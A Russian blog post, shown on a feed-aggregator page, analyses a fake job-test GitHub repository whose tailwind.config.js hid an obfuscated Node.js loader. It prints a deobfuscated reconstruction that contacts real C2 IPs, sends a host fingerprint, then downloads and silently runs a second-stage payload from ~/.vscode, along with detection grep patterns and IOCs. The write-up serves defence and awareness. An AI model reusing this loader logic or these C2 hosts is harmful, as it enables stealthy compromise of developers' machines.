惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Cisco Talos Blog
Cisco Talos Blog
V
V2EX
C
Check Point Blog
GbyAI
GbyAI
D
Docker
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
B
Blog RSS Feed
H
Hackread – Cybersecurity News, Data Breaches, AI and More
N
Netflix TechBlog - Medium
T
Troy Hunt's Blog
博客园 - Franky
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Microsoft Security Blog
Microsoft Security Blog
P
Privacy & Cybersecurity Law Blog
WordPress大学
WordPress大学
The Cloudflare Blog
S
SegmentFault 最新的问题
Latest news
Latest news
Microsoft Azure Blog
Microsoft Azure Blog
P
Proofpoint News Feed
I
InfoQ
博客园 - 【当耐特】
NISL@THU
NISL@THU
A
About on SuperTechFans
T
Tailwind CSS Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
The Hacker News
The Hacker News
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Scott Helme
Scott Helme
雷峰网
雷峰网
C
CXSECURITY Database RSS Feed - CXSecurity.com
Security Latest
Security Latest
V
Vulnerabilities – Threatpost
Security Archives - TechRepublic
Security Archives - TechRepublic
A
Arctic Wolf
Hacker News: Ask HN
Hacker News: Ask HN
N
News and Events Feed by Topic
IT之家
IT之家
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
aimingoo的专栏
aimingoo的专栏
T
Threat Research - Cisco Blogs
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
阮一峰的网络日志
阮一峰的网络日志
SecWiki News
SecWiki News
大猫的无限游戏
大猫的无限游戏
S
Security Affairs
The Register - Security
The Register - Security
www.infosecurity-magazine.com
www.infosecurity-magazine.com
L
LINUX DO - 热门话题
T
Tor Project blog

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Бэкдор вместо тестового
SaggyA · 2026-05-10 · via Все публикации подряд на Хабре

Бэкдор вместо тестового

Уровень сложностиПростой

Время на прочтение13 мин

Охват и читатели422

TL;DR:

В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.

Социальная часть

В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.

Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).

При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.

Начал разбираться и обнаружил вот что.

На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:

const a0ag=a0a1,a0ah=a0a1,...

Интересно, что же это такое?

Как устроена обфускация

В начале был массив base64-строк:

function a0a0() {
  const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]
  ...
}

Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:

(function(a0,a1){
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = ...;
      if (a3 === a1) break;
      else a2.push(a2.shift());
    } catch {
      a2.push(a2.shift());
    }
  }
}(a0a0, 0x7e0c4));

Цель этого – запутать соответствие индексов и строк.

Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:

function decodeFromStringTable(index) {
  const shiftedIndex = index - 0x113;
  const encoded = stringTable[shiftedIndex];
  
  return base64DecodeURIComponent(encoded);
}

И мы получаем, например:

a0a1(0x137) => "utf8"
a0a1(0x182) => "base6"
a0a1(0x171) => "from"
a0a1(0x125) => "toStr"
a0a1(0x126) => "ing"

И потом собираем это:

Buffer.from(..., 'base64').toString('utf8')

Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:

function n(value) {
  const withoutFirstChar = value.slice(1);
  return Buffer.from(withoutFirstChar, 'base64').toString('utf8');
}

Например:

n('ab3M') => 'os'
n('bZnM') => 'fs'
n('DcmVxdWVzdA') => 'request'
n('NcGF0aA') => 'path'
n('Xbm9kZTpwc...') => 'node:process'
n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'

Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:

const S = [0x70, 0xa0, 0x89, 0x48];

function U(arr) {
  let result = '';

  for (let i = 0; i < arr.length; i++) {
    result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff);
  }

  return result;
}

что даёт после расшифровки:

U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"
U([0x16,0x8e,0xe3,0x3b])                 => "f.js"
U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])
  => "package.json"

U([0x5f,0xc6,0xa6]) => "/f/"
U([0x5f,0xd0])      => "/p"

U([0x13,0xc4]) => "cd"
U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])
  => "&& npm i --silent"

U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])
  => "npm --prefix"

U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])
  => "node_modules"

U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"

После деобфускации ключевая часть выглядит примерно так:

const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const process = require('node:process');
const child_process = require('child_process');

const homeDir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();

const primaryC2 = 'http://78.142.218.26:1244';
const fallbackC2 = 'http://66.235.168.17:1244';

const campaignId = '90284f6b7643';

Упрощённый псевдокод вредоноса

Это упрощённая реконструкция логики (C2 в тексте это "Command and Control", то есть сервер командования и управления):

/**
 * Entry point вредоносного кода.
 *
 * Инициализирует timestamp текущего запуска и начинает первый этап связи
 * с управляющим сервером.
 *
 * В оригинальном коде эта функция вызывается сразу при загрузке
 * `tailwind.config.js`, то есть во время dev/build процесса.
 *
 * Поведение:
 * 1. Сохраняет время запуска.
 * 2. Пытается связаться с основным C2-сервером.
 * 3. При ошибке дальше сработает fallback-логика.
 *
 * @returns {void}
 */
function main() {
  timestamp = Date.now().toString();

  tryHandshake(0);
}

/**
 * Пытается выполнить первичный handshake с сервером.
 *
 * Функция отправляет GET-запрос на `/s/<campaignId>`.
 * Первый вызов идёт на основной сервер. Если основной сервер недоступен,
 * код пробует fallback.
 *
 * Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера
 * и тип payload, который нужно скачать.
 *
 * @param {number} index
 * Индекс сервера в списке.
 * `0` — основной сервер.
 * `1` — fallback-сервер.
 *
 * @returns {void}
 */
function tryHandshake(index) {
  const url = `${C2[index]}/s/${campaignId}`;

  request.get(url, (error, response, body) => {
    if (error) {
      if (index < 1) {
        tryHandshake(1);
      }
      return;
    }

    if (!parseServerResponse(body)) {
      return;
    }

    reportHost();
    downloadAndRunPayload();
  });
}

/**
 * Разбирает ответ C2-сервера после handshake-запроса.
 *
 * Оригинальный код ожидает, что ответ начинается с маркера `ZT3`.
 * Всё, что идёт после `ZT3`, декодируется из base64.
 *
 * После декодирования вредонос ожидает строку примерно такого формата:
 *
 * `<host>,<type>`
 *
 * Где:
 * - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json.
 * - `type` — идентификатор или вариант payload.
 *
 * Если формат ответа не подходит, функция возвращает `false`,
 * и дальнейшее выполнение прекращается.
 *
 * @param {string} body
 * Тело HTTP-ответа.
 *
 * @returns {boolean}
 * `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены.
 * `false`, если ответ не похож на ожидаемый C2-ответ.
 */
function parseServerResponse(body) {
  if (!body.startsWith('ZT3')) {
    return false;
  }

  const encoded = body.slice(3);
  const decoded = Buffer.from(encoded, 'base64').toString('utf8');

  const parts = decoded.split(',');

  baseUrl = `http://${parts[0]}:1244`;
  type = parts[1];

  return true;
}

/**
 * Отправляет информацию о заражённой машине на сервер злоумышленников.
 *
 * Функция делает POST-запрос на `/keys` и передаёт набор данных,
 * по которым оператор вредоноса может идентифицировать машину и контекст запуска.
 *
 * В отправляемые данные входят:
 * - timestamp запуска;
 * - тип payload, полученный от C2;
 * - hostname;
 * - username на macOS;
 * - путь или аргумент процесса, из которого был запущен код.
 *
 * Название `/keys` может вводить в заблуждение: по поведению это больше похоже
 * на регистрацию infected host/beaconing, а не обязательно на отправку
 * криптографических ключей.
 *
 * @returns {void}
 */
function reportHost() {
  let hostId = hostname;

  if (platform[0] === 'd') {
    hostId = `${hostId}+${userInfo.username}`;
  }

  let commandContext = '5A1';

  try {
    commandContext += process.argv[1];
  } catch {}

  request.post({
    url: `${baseUrl}/keys`,
    formData: {
      ts: timestamp,
      type,
      hid: hostId,
      ss: 'oqr',
      cc: commandContext,
    },
  });
}

/**
 * Скачивает второй этап вредоноса и готовит его к запуску.
 *
 * Функция создаёт директорию `~/.vscode`, если её ещё нет.
 * Затем скачивает JS-payload с C2 и сохраняет его как `f.js`.
 *
 * Использование `~/.vscode` выглядит как попытка маскировки:
 * такая папка может показаться разработчику нормальной частью окружения
 * VS Code/Cursor.
 *
 * Если создать `~/.vscode` не удалось, код использует домашнюю директорию
 * пользователя как fallback.
 *
 * @returns {void}
 */
function downloadAndRunPayload() {
  let targetDir = path.join(homeDir, '.vscode');

  try {
    fs.mkdirSync(targetDir, { recursive: true });
  } catch {
    targetDir = homeDir;
  }

  const payloadPath = path.join(targetDir, 'f.js');

  try {
    fs.rmSync(payloadPath);
  } catch {}

  request.get(`${baseUrl}/f/${type}`, (error, response, body) => {
    if (error) return;

    try {
      fs.writeFileSync(payloadPath, body);
    } catch {}

    downloadPackageJson(targetDir);
  });
}

/**
 * Скачивает `package.json` для созданного вредоносом локального npm-проекта.
 *
 * После скачивания `f.js` вредонос также скачивает `package.json`
 * с C2 endpoint `/p`.
 *
 * Это нужно для установки зависимостей, которые потребуются скачанному payload.
 * То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`.
 *
 * В оригинальной логике есть сравнение размера:
 * если уже существующий `package.json` меньше нового тела ответа,
 * файл перезаписывается.
 *
 * @param {string} targetDir
 * Директория, куда ранее был сохранён `f.js`.
 * Обычно это `~/.vscode`.
 *
 * @returns {void}
 */
function downloadPackageJson(targetDir) {
  const packagePath = path.join(targetDir, 'package.json');

  let oldSize = 0;

  if (fs.existsSync(packagePath)) {
    try {
      oldSize = fs.statSync(packagePath).size;
    } catch {}
  }

  request.get(`${baseUrl}/p`, (error, response, body) => {
    if (error) return;

    try {
      if (body.length > oldSize) {
        fs.writeFileSync(packagePath, body);
      }
    } catch {}

    installDependencies(targetDir);
  });
}

/**
 * Запускает установку npm-зависимостей для скачанного payload.
 *
 * Функция выполняет команду вида:
 *
 * `cd "<targetDir>" && npm i --silent`
 *
 * Это означает, что вредонос пытается установить зависимости
 * из скачанного `package.json` без явного вывода в консоль.
 *
 * Флаг `windowsHide: true` на Windows скрывает окно процесса,
 * что является дополнительным признаком скрытного поведения.
 *
 * После завершения установки вызывается проверка `node_modules`
 * и запуск payload.
 *
 * @param {string} targetDir
 * Директория локального npm-проекта, созданного вредоносом.
 *
 * @returns {void}
 */
function installDependencies(targetDir) {
  child_process.exec(
    `cd "${targetDir}" && npm i --silent`,
    { windowsHide: true },
    () => {
      ensureNodeModulesAndRun(targetDir);
    },
  );
}

/**
 * Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей.
 *
 * Если после первой команды `npm i --silent` директория `node_modules`
 * не появилась, вредонос запускает альтернативную команду:
 *
 * `npm --prefix "<targetDir>" i`
 *
 * Это повышает шанс успешной установки зависимостей в разных окружениях.
 *
 * Если `node_modules` уже существует или повторная установка завершилась,
 * функция переходит к запуску payload.
 *
 * @param {string} targetDir
 * Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`.
 *
 * @returns {void}
 */
function ensureNodeModulesAndRun(targetDir) {
  const nodeModules = path.join(targetDir, 'node_modules');

  if (!fs.existsSync(nodeModules)) {
    child_process.exec(
      `npm --prefix "${targetDir}" i`,
      { windowsHide: true },
      () => runPayload(targetDir),
    );
  } else {
    runPayload(targetDir);
  }
}

/**
 * Запускает скачанный `f.js` как отдельный фоновый процесс.
 *
 * Поведение отличается по платформам:
 *
 * На Windows:
 * - запускается текущий Node.js runtime через `process.execPath`;
 * - аргументом передаётся `f.js`;
 * - рабочая директория — `targetDir`;
 * - окно процесса скрывается через `windowsHide: true`;
 * - stdio игнорируется.
 *
 * На Linux/macOS:
 * - используется `nohup`;
 * - процесс запускается detached;
 * - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`;
 * - после `unref()` процесс отвязывается от родителя.
 *
 * Итог: payload может продолжить работу даже после завершения npm/build-процесса,
 * который изначально загрузил `tailwind.config.js`.
 *
 * @param {string} targetDir
 * Директория, из которой будет запущен `f.js`.
 *
 * @returns {void}
 */
function runPayload(targetDir) {
  if (platform[0] === 'w') {
    const child = child_process.spawn(
      process.execPath,
      ['f.js'],
      {
        cwd: targetDir,
        stdio: 'ignore',
        windowsHide: true,
      },
    );

    child.unref();
  } else {
    const child = child_process.spawn(
      'nohup',
      [process.execPath, 'f.js'],
      {
        cwd: targetDir,
        detached: true,
        stdio: ['ignore', '/dev/null', '/dev/null'],
      },
    );

    child.unref();
  }
}

Что же тут происходит?

Сначала делается запрос на:

http://78.142.218.26:1244/s/90284f6b7643

// фоллбек на
http://66.235.168.17:1244/s/90284f6b7643

После декодирования ожидается строка вида:

<host>,<type>

Условно

example.com,abc

Тогда вредонос строит:

http://example.com:1244

И сохраняет

type = "abc"

Информация о жертве отправляется на:

http://<host>:1244/keys

С примерно такими данными:

{
  ts: Date.now().toString(),               // timestamp запуска
  type: typeFromServer,                    // тип/идентификатор payload, полученный от C2
  hid: hostnameOrHostnamePlusUsername,     // host identifier
  ss: 'oqr',                               // константа "oqr", вероятно, маркер кампании или версии
  cc: '5A1' + process.argv[1]              // строка "5A1" + путь к текущему скрипту/процессу
}

Интересный момент:

if (platform[0] === 'd') {
  hid = hostname + '+' + username;
}

os.platform() возвращает:

win32
linux
darwin

То есть username добавляется именно для macOS (darwin).

Затем происходит попытка создать директорию:

~/.vscode

А если не получается, используется просто домашняя папка:

let targetDir = path.join(os.homedir(), '.vscode');

try {
  fs.mkdirSync(targetDir, { recursive: true });
} catch {
  targetDir = os.homedir();
}

Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.

Затем происходит скачивание:

http://<host>:1244/f/<type>

И payload записывается в ~/.vscode/f.js.

Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.

Далее устанавливаются зависимости:

cd "~/.vscode" && npm i --silent
npm --prefix "~/.vscode" i

Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.

Затем payload запускается в фоне:

// на Windows
child_process.spawn(process.execPath, ['f.js'], {
  cwd: targetDir,
  stdio: 'ignore',
  windowsHide: true,
});

// на Linux/MacOs
child_process.spawn('nohup', [process.execPath, 'f.js'], {
  cwd: targetDir,
  detached: true,
  stdio: ['ignore', '/dev/null', '/dev/null'],
});

И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:

child.unref();

Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.

Что же отправляется?

Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:

{
  username: "john",
  uid: 1000,
  gid: 1000,
  shell: "/bin/bash",
  homedir: "/home/john"
}

Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.

И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:

  • source IP address;

  • время подключения;

  • порт назначения;

  • HTTP path;

  • возможные HTTP headers от Node request library.

Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.

На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.

Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.

Что ещё было подозрительно в репозитории?

В package.json были такие зависимости:

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security",
"path": "^0.12.7"

Это core-модули Node.js. В нормальном проекте их не ставят из npm.

Какие выводы и уроки?

Никогда не запускайте чужой проект сразу. Опасными могут быть даже:

npm install
npm ci
yarn
pnpm install

Перед запуском попробуйте поискать опасные паттерны:

grep -RInE \
  "child_process|execSync|spawn|eval\(|Function\(|atob\(|Buffer\.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|\.vscode|AppData|os\.homedir|os\.userInfo|request\(|fetch\(|http://|https://" \
  . \
  --exclude-dir=node_modules \
  --exclude-dir=.git \
  --exclude-dir=dist \
  --exclude-dir=build

Проверяйте package.json на подозрительные зависимости:

"preinstall": "...",
"install": "...",
"postinstall": "...",
"prepare": "...",
"child_process": "...",
"fs": "...",
"path": "...",
"crypto": "..."

Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.

Устанавливайте зависимости только с отключёнными lifecycle-скриптами:

npm ci --ignore-scripts
npm install --ignore-scripts
pnpm install --ignore-scripts
yarn install --ignore-scripts

Но помните, флаг --ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.

Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.

Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.

Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:

rg -n \
  "https?://|[0-9]{1,3}(\.[0-9]{1,3}){3}|localhost|127\.0\.0\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\.githubusercontent" \
  -g '!node_modules' \
  -g '!.git'

Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.

Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.

Ну и обращайте внимание на размер скачанного репозитория :-)

Ну а если вы всё же запустили такой проект, то:

  1. Отключите интернет или закройте подозрительные процессы;

  2. Проверьте ~/.vscode/f.js и ~/.vscode/package.json;

  3. Проверьте процессы node/npm/powershell/cmd;

  4. Проверьте автозапуск и scheduled tasks;

  5. Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;

  6. Запустите полную проверку антивирусом/защитником.

P.S. На всякий случай вот хэши архива репозитория и файла конфига:

Archive SHA256:
4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13

tailwind.config.js SHA256:
b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4de

C2:
78.142.218.26:1244
66.235.168.17:1244

Paths:
~/.vscode/f.js
~/.vscode/package.json

P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток царского прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.